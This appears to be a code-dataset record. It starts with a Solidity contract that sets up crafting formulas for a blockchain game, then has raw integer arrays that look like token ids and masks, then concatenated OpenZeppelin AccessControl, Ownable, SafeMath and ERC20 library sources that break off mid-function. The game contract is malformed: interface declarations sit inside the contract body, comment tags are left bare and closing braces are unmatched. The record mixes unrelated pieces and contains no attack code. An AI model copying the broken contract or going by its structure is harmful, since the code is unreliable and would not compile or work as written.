contract FormulaInit is FurnaceSettingIds { uint128 public constant RATE_DECIMALS = 10 ** 6; uint256 public constant UINT = 10 ** 14; bool public isInit; ISettingsRegistry public registry; function insert( bytes32 _name, bytes calldata _meta, bytes32[] calldata _majors, address[] calldata _minors, uint256[] calldata _limits ) external; @notice Only governance can disble `formula`. @dev Disble a formula rule. MUST revert on any other error. @param _index Disble the formule of index. function disable(uint256 _index) external; function enable(uint256 _index) external; function length() external view returns (uint256); function at(uint256 _index) external view returns ( bytes32, bytes memory, bytes32[] memory, address[] memory, uint256[] memory, bool ); function getMajorInfo(bytes32 _major) external pure returns ( address, uint16, uint16, uint16 ); function getLimit(uint256 _limit) external pure returns ( uint128, uint128 ); function getMetaInfo(uint256 _index) external view returns ( bytes32, uint16, uint16, uint16, bool, uint128, uint128 ); function getMajorAddresses(uint256 _index) external view returns (address[] memory); function getMinorAddresses(uint256 _index) external view returns (address[] memory); } } } constructor(address _registry) public { registry = ISettingsRegistry(_registry); } function initFormula() public { require(isInit == false, "Furnace: ALREADY_INITED"); initFormula0(registry.addressOf(CONTRACT_GOLD_ERC20_TOKEN)); initFormula0(registry.addressOf(CONTRACT_WOOD_ERC20_TOKEN)); initFormula0(registry.addressOf(CONTRACT_WATER_ERC20_TOKEN)); initFormula0(registry.addressOf(CONTRACT_FIRE_ERC20_TOKEN)); initFormula0(registry.addressOf(CONTRACT_SOIL_ERC20_TOKEN)); initFormula5(registry.addressOf(CONTRACT_GOLD_ERC20_TOKEN)); initFormula5(registry.addressOf(CONTRACT_WOOD_ERC20_TOKEN)); initFormula5(registry.addressOf(CONTRACT_WATER_ERC20_TOKEN)); initFormula5(registry.addressOf(CONTRACT_FIRE_ERC20_TOKEN)); initFormula5(registry.addressOf(CONTRACT_SOIL_ERC20_TOKEN)); initFormula10(registry.addressOf(CONTRACT_GOLD_ERC20_TOKEN)); initFormula10(registry.addressOf(CONTRACT_WOOD_ERC20_TOKEN)); initFormula10(registry.addressOf(CONTRACT_WATER_ERC20_TOKEN)); initFormula10(registry.addressOf(CONTRACT_FIRE_ERC20_TOKEN)); initFormula10(registry.addressOf(CONTRACT_SOIL_ERC20_TOKEN)); initFormula15(registry.addressOf(CONTRACT_GOLD_ERC20_TOKEN)); initFormula15(registry.addressOf(CONTRACT_WOOD_ERC20_TOKEN)); initFormula15(registry.addressOf(CONTRACT_WATER_ERC20_TOKEN)); initFormula15(registry.addressOf(CONTRACT_FIRE_ERC20_TOKEN)); initFormula15(registry.addressOf(CONTRACT_SOIL_ERC20_TOKEN)); isInit = true; } function initFormula0(address token) private { bytes32 name = "合金镐"; bytes memory meta = abi.encodePacked(uint16(256), uint16(1), uint16(1), true, uint128(4 * RATE_DECIMALS), uint128(4 * RATE_DECIMALS)); bytes32[] memory majors = new bytes32[](1); address[] memory minors = new address[](1); uint256[] memory limits = new uint256[](1); bytes memory majorData = abi.encodePacked(registry.addressOf(CONTRACT_ERC721_GEGO), uint16(256), uint16(0), uint16(1), bytes6(0)); majors[0] = abi.decode(majorData, (bytes32)); minors[0] = token; limits[0] = ((200 * UINT) << 128) | (350 * UINT); address formula = registry.addressOf(CONTRACT_FORMULA); IFormula(formula).insert(name, meta, majors, minors, limits); } function initFormula5(address token) private { bytes32 name = "人力铸铁钻机"; bytes memory meta = abi.encodePacked(uint16(4), uint16(1), uint16(1), true, uint128(4 * RATE_DECIMALS), uint128(4 * RATE_DECIMALS)); bytes32[] memory majors = new bytes32[](1); address[] memory minors = new address[](1); uint256[] memory limits = new uint256[](1); bytes memory majorData = abi.encodePacked(registry.addressOf(CONTRACT_OBJECT_OWNERSHIP), uint16(4), uint16(1), uint16(1), bytes6(0)); majors[0] = abi.decode(majorData, (bytes32)); minors[0] = token; limits[0] = ((200 * UINT) << 128) | (350 * UINT); address formula = registry.addressOf(CONTRACT_FORMULA); IFormula(formula).insert(name, meta, majors, minors, limits); } function initFormula10(address token) private { bytes32 name = "人力钨钢钻机"; bytes memory meta = abi.encodePacked(uint16(4), uint16(1), uint16(2), true, uint128(7 * RATE_DECIMALS), uint128(8 * RATE_DECIMALS)); bytes32[] memory majors = new bytes32[](1); address[] memory minors = new address[](1); uint256[] memory limits = new uint256[](1); bytes memory majorData = abi.encodePacked(registry.addressOf(CONTRACT_OBJECT_OWNERSHIP), uint16(4), uint16(1), uint16(2), bytes6(0)); majors[0] = abi.decode(majorData, (bytes32)); minors[0] = token; limits[0] = ((300 * UINT) << 128) | (550 * UINT); address formula = registry.addressOf(CONTRACT_FORMULA); IFormula(formula).insert(name, meta, majors, minors, limits); } function initFormula15(address token) private { bytes32 name = "人力金刚钻机"; bytes memory meta = abi.encodePacked(uint16(4), uint16(1), uint16(3), true, uint128(30 * RATE_DECIMALS), uint128(70 * RATE_DECIMALS)); bytes32[] memory majors = new bytes32[](1); address[] memory minors = new address[](1); uint256[] memory limits = new uint256[](1); bytes memory majorData = abi.encodePacked(registry.addressOf(CONTRACT_OBJECT_OWNERSHIP), uint16(4), uint16(1), uint16(3), bytes6(0)); majors[0] = abi.decode(majorData, (bytes32)); minors[0] = token; limits[0] = ((800 * UINT) << 128) | (2200 * UINT); address formula = registry.addressOf(CONTRACT_FORMULA); IFormula(formula).insert(name, meta, majors, minors, limits); } }
5,263,728
[ 1, 4816, 19, 14972, 2570, 18, 18281, 10878, 18035, 560, 3602, 20, 18, 26, 18, 27, 31, 342, 1930, 25165, 15898, 19, 45, 14972, 18, 18281, 14432, 342, 1930, 25165, 15898, 19, 45, 2628, 4243, 18, 18281, 14432, 342, 1930, 25165, 15898, 19, 45, 6998, 56, 292, 749, 18, 18281, 14432, 342, 1930, 25165, 42, 321, 623, 5568, 2673, 18, 18281, 14432, 342, 2254, 5034, 1071, 5381, 27011, 273, 1728, 225, 6549, 31, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 26758, 2570, 353, 478, 321, 623, 5568, 2673, 288, 203, 203, 202, 11890, 10392, 1071, 5381, 534, 1777, 67, 23816, 55, 273, 1728, 2826, 1666, 31, 203, 202, 11890, 5034, 1071, 5381, 27011, 273, 1728, 2826, 5045, 31, 203, 203, 202, 6430, 1071, 353, 2570, 31, 203, 202, 45, 2628, 4243, 1071, 4023, 31, 203, 202, 203, 202, 915, 2243, 12, 203, 202, 202, 3890, 1578, 389, 529, 16, 203, 202, 202, 3890, 745, 892, 389, 3901, 16, 203, 202, 202, 3890, 1578, 8526, 745, 892, 389, 12585, 1383, 16, 203, 202, 202, 2867, 8526, 745, 892, 389, 1154, 1383, 16, 203, 202, 202, 11890, 5034, 8526, 745, 892, 389, 14270, 203, 202, 13, 3903, 31, 203, 203, 3639, 632, 20392, 5098, 314, 1643, 82, 1359, 848, 1015, 7119, 1375, 18203, 8338, 203, 3639, 632, 5206, 3035, 7119, 279, 8013, 1720, 18, 203, 3639, 10685, 15226, 603, 1281, 1308, 555, 18, 540, 203, 3639, 632, 891, 389, 1615, 565, 3035, 7119, 326, 646, 725, 434, 770, 18, 203, 202, 915, 4056, 12, 11890, 5034, 389, 1615, 13, 3903, 31, 203, 203, 202, 915, 4237, 12, 11890, 5034, 389, 1615, 13, 3903, 31, 203, 203, 202, 915, 769, 1435, 3903, 1476, 1135, 261, 11890, 5034, 1769, 203, 203, 202, 915, 622, 12, 11890, 5034, 389, 1615, 13, 203, 202, 202, 9375, 203, 202, 202, 1945, 203, 202, 202, 6154, 261, 203, 1082, 202, 3890, 1578, 16, 203, 1082, 202, 3890, 3778, 16, 203, 1082, 202, 3890, 1578, 8526, 3778, 16, 203, 1082, 202, 2867, 2 ]
// SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../utils/EnumerableSet.sol"; import "../utils/Address.sol"; import "../utils/Context.sol"; /** * @dev Contract module that allows children to implement role-based access * control mechanisms. * * Roles are referred to by their `bytes32` identifier. These should be exposed * in the external API and be unique. The best way to achieve this is by * using `public constant` hash digests: * * ``` * bytes32 public constant MY_ROLE = keccak256("MY_ROLE"); * ``` * * Roles can be used to represent a set of permissions. To restrict access to a * function call, use {hasRole}: * * ``` * function foo() public { * require(hasRole(MY_ROLE, msg.sender)); * ... * } * ``` * * Roles can be granted and revoked dynamically via the {grantRole} and * {revokeRole} functions. Each role has an associated admin role, and only * accounts that have a role's admin role can call {grantRole} and {revokeRole}. * * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means * that only accounts with this role will be able to grant or revoke other * roles. More complex role relationships can be created by using * {_setRoleAdmin}. * * WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to * grant and revoke this role. Extra precautions should be taken to secure * accounts that have been granted it. */ abstract contract AccessControl is Context { using EnumerableSet for EnumerableSet.AddressSet; using Address for address; struct RoleData { EnumerableSet.AddressSet members; bytes32 adminRole; } mapping (bytes32 => RoleData) private _roles; bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00; /** * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole` * * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite * {RoleAdminChanged} not being emitted signaling this. * * _Available since v3.1._ */ event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole); /** * @dev Emitted when `account` is granted `role`. * * `sender` is the account that originated the contract call, an admin role * bearer except when using {_setupRole}. */ event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Emitted when `account` is revoked `role`. * * `sender` is the account that originated the contract call: * - if using `revokeRole`, it is the admin role bearer * - if using `renounceRole`, it is the role bearer (i.e. `account`) */ event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) public view returns (bool) { return _roles[role].members.contains(account); } /** * @dev Returns the number of accounts that have `role`. Can be used * together with {getRoleMember} to enumerate all bearers of a role. */ function getRoleMemberCount(bytes32 role) public view returns (uint256) { return _roles[role].members.length(); } /** * @dev Returns one of the accounts that have `role`. `index` must be a * value between 0 and {getRoleMemberCount}, non-inclusive. * * Role bearers are not sorted in any particular way, and their ordering may * change at any point. * * WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure * you perform all queries on the same block. See the following * https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post] * for more information. */ function getRoleMember(bytes32 role, uint256 index) public view returns (address) { return _roles[role].members.at(index); } /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) public view returns (bytes32) { return _roles[role].adminRole; } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) public virtual { require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to grant"); _grantRole(role, account); } /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) public virtual { require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to revoke"); _revokeRole(role, account); } /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been granted `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) public virtual { require(account == _msgSender(), "AccessControl: can only renounce roles for self"); _revokeRole(role, account); } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. Note that unlike {grantRole}, this function doesn't perform any * checks on the calling account. * * [WARNING] * ==== * This function should only be called from the constructor when setting * up the initial roles for the system. * * Using this function in any other way is effectively circumventing the admin * system imposed by {AccessControl}. * ==== */ function _setupRole(bytes32 role, address account) internal virtual { _grantRole(role, account); } /** * @dev Sets `adminRole` as ``role``'s admin role. * * Emits a {RoleAdminChanged} event. */ function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual { emit RoleAdminChanged(role, _roles[role].adminRole, adminRole); _roles[role].adminRole = adminRole; } function _grantRole(bytes32 role, address account) private { if (_roles[role].members.add(account)) { emit RoleGranted(role, account, _msgSender()); } } function _revokeRole(bytes32 role, address account) private { if (_roles[role].members.remove(account)) { emit RoleRevoked(role, account, _msgSender()); } } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../access/AccessControl.sol"; import "../utils/Context.sol"; import "../token/ERC20/ERC20.sol"; import "../token/ERC20/ERC20Burnable.sol"; import "../token/ERC20/ERC20Pausable.sol"; /** * @dev {ERC20} token, including: * * - ability for holders to burn (destroy) their tokens * - a minter role that allows for token minting (creation) * - a pauser role that allows to stop all token transfers * * This contract uses {AccessControl} to lock permissioned functions using the * different roles - head to its documentation for details. * * The account that deploys the contract will be granted the minter and pauser * roles, as well as the default admin role, which will let it grant both minter * and pauser roles to other accounts. */ contract ERC20PresetMinterPauser is Context, AccessControl, ERC20Burnable, ERC20Pausable { bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE"); bytes32 public constant PAUSER_ROLE = keccak256("PAUSER_ROLE"); /** * @dev Grants `DEFAULT_ADMIN_ROLE`, `MINTER_ROLE` and `PAUSER_ROLE` to the * account that deploys the contract. * * See {ERC20-constructor}. */ constructor(string memory name, string memory symbol) public ERC20(name, symbol) { _setupRole(DEFAULT_ADMIN_ROLE, _msgSender()); _setupRole(MINTER_ROLE, _msgSender()); _setupRole(PAUSER_ROLE, _msgSender()); } /** * @dev Creates `amount` new tokens for `to`. * * See {ERC20-_mint}. * * Requirements: * * - the caller must have the `MINTER_ROLE`. */ function mint(address to, uint256 amount) public virtual { require(hasRole(MINTER_ROLE, _msgSender()), "ERC20PresetMinterPauser: must have minter role to mint"); _mint(to, amount); } /** * @dev Pauses all token transfers. * * See {ERC20Pausable} and {Pausable-_pause}. * * Requirements: * * - the caller must have the `PAUSER_ROLE`. */ function pause() public virtual { require(hasRole(PAUSER_ROLE, _msgSender()), "ERC20PresetMinterPauser: must have pauser role to pause"); _pause(); } /** * @dev Unpauses all token transfers. * * See {ERC20Pausable} and {Pausable-_unpause}. * * Requirements: * * - the caller must have the `PAUSER_ROLE`. */ function unpause() public virtual { require(hasRole(PAUSER_ROLE, _msgSender()), "ERC20PresetMinterPauser: must have pauser role to unpause"); _unpause(); } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual override(ERC20, ERC20Pausable) { super._beforeTokenTransfer(from, to, amount); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../../utils/Context.sol"; import "./IERC20.sol"; import "../../math/SafeMath.sol"; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_) public { _name = name_; _symbol = symbol_; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view virtual returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal virtual { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../../utils/Context.sol"; import "./ERC20.sol"; /** * @dev Extension of {ERC20} that allows token holders to destroy both their own * tokens and those that they have an allowance for, in a way that can be * recognized off-chain (via event analysis). */ abstract contract ERC20Burnable is Context, ERC20 { using SafeMath for uint256; /** * @dev Destroys `amount` tokens from the caller. * * See {ERC20-_burn}. */ function burn(uint256 amount) public virtual { _burn(_msgSender(), amount); } /** * @dev Destroys `amount` tokens from `account`, deducting from the caller's * allowance. * * See {ERC20-_burn} and {ERC20-allowance}. * * Requirements: * * - the caller must have allowance for ``accounts``'s tokens of at least * `amount`. */ function burnFrom(address account, uint256 amount) public virtual { uint256 decreasedAllowance = allowance(account, _msgSender()).sub(amount, "ERC20: burn amount exceeds allowance"); _approve(account, 